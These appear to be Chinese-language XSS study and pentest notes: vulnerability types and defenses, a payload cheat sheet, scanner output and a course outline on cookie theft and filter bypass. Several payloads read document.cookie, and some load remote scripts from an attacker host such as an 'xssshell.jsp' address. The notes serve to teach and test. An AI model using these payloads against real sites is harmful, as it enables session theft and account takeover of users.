Xss跨站脚本攻击
浅谈XSS漏洞挖掘 https://mp.weixin.qq.com/s/6oT63IxXodWte3WLw-zKRw
有输入的地方就试试,对可以触发XSS的地方做总结
输入即输出
对用户的输入在没有进行任何过滤的情况下进行了输出。
输出报错信息的时候直接把用户输入的内容直接进行了输出。
猜想可能由于现在对信息安全的重视,涉及到业务方面的输入数据的过滤编码已经很成熟,
对一些错误信息的输出可能重视还不够大。
该漏洞的触发就是在返回错误信息的时候回返回方法名,这个方法名攻击者可以自己定义,导致触发了XSS漏洞
在返回错误信息的时候回返回参数
FUZZ参数触发XSS
XSS(跨站脚本)概述
Cross-Site Scripting 简称为“CSS”,
为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS。
一般XSS可以分为如下几种常见类型:
1.反射性XSS;
2.存储型XSS;
3.DOM型XSS;
XSS漏洞一直被评估为web漏洞中危害较大的漏洞,
在OWASP TOP10的排名中一直属于前三的江湖地位。
XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。
形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,
导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。
因此在XSS漏洞的防范上,
一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:
输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;
输出转义:根据输出点的位置对输出到前端的内容进行适当转义;
"'><textarea+autofocus+onfocus=alert(45)>
<iframe/src=JavaScriPt:alert(45)>
<script>alert(aming)</script>
<script src=”http://192.168.1.19/xssshell.jsp?v=336699″></script>
><script>alert(document.cookie)</script>
=’><script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>
<script>alert(vulnerable)</script>
<script>alert(‘XSS’)</script>
<img src=”javascript:alert(‘XSS’)”>
<script>alert(‘Vulnerable’)</script>
<IFRAME SRC=javascript:alert(‘XSS’)></IFRAME>
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
<BODY ONLOAD=alert(‘XSS’)>
<IMG DYNSRC=”javascript:alert(‘XSS’)”>
<IMG LOWSRC=”javascript:alert(‘XSS’)”>
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
<SCRIPT a=”>” SRC=”http://xxxx/a.js”></SCRIPT>
<SCRIPT =”>” SRC=”http://xxxxx/a.js”></SCRIPT>
<SCRIPT a=”>” ” SRC=”http://xxxxx/a.js”></SCRIPT>
<SCRIPT “a=’>’” SRC=”http://xxxxx/a.js”></SCRIPT>
<img src=x onerror=alert(45)>
<svg/onload=alert(45)>
<script>alert(45)</script>
<img/src onerror=alert(45)>
"><iframe/src=JavaScriPt:alert(45)>
<video/poster/onerror=alert(45)>
<audio src onloadstart=alert(45)>
<meter onmouseover=alert(45)>0</meter>
<marquee onstart=alert(45)>
<select autofocus onfocus=alert(45)>
<input autofocus onfocus=alert(45)>
<keygen autofocus onfocus=alert(45)>
<textarea autofocus onfocus=alert(45)>
<original query>
onhwul=64
<svg/onload=alert(45)> | reflected XSS Code |
<script>alert(45)</script> | reflected XSS Code |
| 9 | HIGH | XSS | GET | type | <marquee onstart=alert(45)> | reflected HTML5 XSS Code |
| 10 | HIGH | XSS | GET | type | <meter onmouseover=alert(45)>0</meter> | reflected HTML5 XSS Code |
| 11 | HIGH | XSS | GET | type | <audio src onloadstart=alert(45)> | reflected HTML5 XSS Code |
| 12 | HIGH | XSS | GET | type | "><iframe/src=JavaScriPt:alert(45)> | reflected XSS Code |
| 13 | HIGH | XSS | GET | type | <video/poster/onerror=alert(45)> | reflected HTML5 XSS Code |
| 14 | HIGH | XSS | GET | type | <img/src onerror=alert(45)> | reflected XSS Code |
| 15 | HIGH | XSS | GET | type | <input autofocus onfocus=alert(45)> | reflected onfocus XSS Code |
| 16 | HIGH | XSS | GET | type | <keygen autofocus onfocus=alert(45)> | reflected onfocus XSS Code |
| 17 | HIGH | XSS | GET | type | <select autofocus onfocus=alert(45)> | reflected onfocus XSS Code |
<textarea autofocus onfocus=alert(45)> | reflected onfocus XSS Code |
http://www.xxxx.com/tool/search.php?
title=88952634
&mod=main
&file=html
&action=index"'><textarea+autofocus+onfocus=alert(45)>
&dosubmit=1
Xss通用明文 &&表单劫持
web安全工程师-03-XSS漏洞原理与利用
第一章:XSS基础
1.1 XSS介绍与原理~1
打cookie
xss + csrf getshell
用来攻击 使用浏览器 打开这个 页面的 用户
获取cookie 正常用户/管理员 权限
反射型 - 非存储型
通常 xss 代码 Payload (js) 通过 get 某个参数 传入 后端
没有经过 存储 直接反射回 用户页面 (html)上
存储型
payload 存 在某一介质 (数据库、缓存、文件)
用户 查看这个页面时 展示 页面 取出数据 时 执行
跟反射型类似
但接受者 不再是 后端程序 而是 js 拿到参数 直接 在页面 显示
html 实体编码 大多数 管用
白名单 发表文章 富文本 过滤掉 js代码 或者 涉及非法的属性
只div a p b 标签
排除onError、onLoad 事件属性
只 src
黑名单 可能会绕过
xss 业务场景 对症
反射 get 输入 script代码块 输出
xss 流程
payload 构造
验证
修复
xss 高阶 新用法
xss持久化
xss系列
1.2 存储型XSS实战
被实体转义
我日我自己
用户登录 凭证
换个用户登录
盗取cookie
怎么修复
看 数据库 中 可控字段
1.3 反射型XSS实战
通过 url 参数 传入 恶意代码
value 闭合 掉
反射型 修复
orm 模型 查询
刚才 访问页面 自动给 焦点 就会一直触发
语法
闭合
或者 属性 弹窗
html 实体转义掉
1.4 DOM型XSS实战
js 实现
dom型 不一定 是 url 传过来的 参数
1.5 XSS辅助测试工具
绕过
第二章: XSS实战与防御机制绕过
2.1 存储型XSS多场景实战及Bypass详解
-
全局 配置文件
去掉空格 截断函数
反斜杠 处理
处理 编码问题
数据展示 的 类
实体转义 标签 防止 执行
输入 没做处理
输出 做了处理 没做完全
-
修复 实体转义
编写 payload
长度限制 添加注释
注释 闭合 网页标签
dom节点
多段提交
注释 执行
多点限制 加密 编码
取值 得值 谨慎
2.3 反射型XSS多场景实战及Bypass详解~1
- 插件 漏洞
payload 多次 url 编码
浏览器默认 解码一次 url编码
2.4 DOM型XSS多场景实战及Bypass详解~1
存储 + DOM
漏洞 分析 + 挖掘
第三章:XSS高级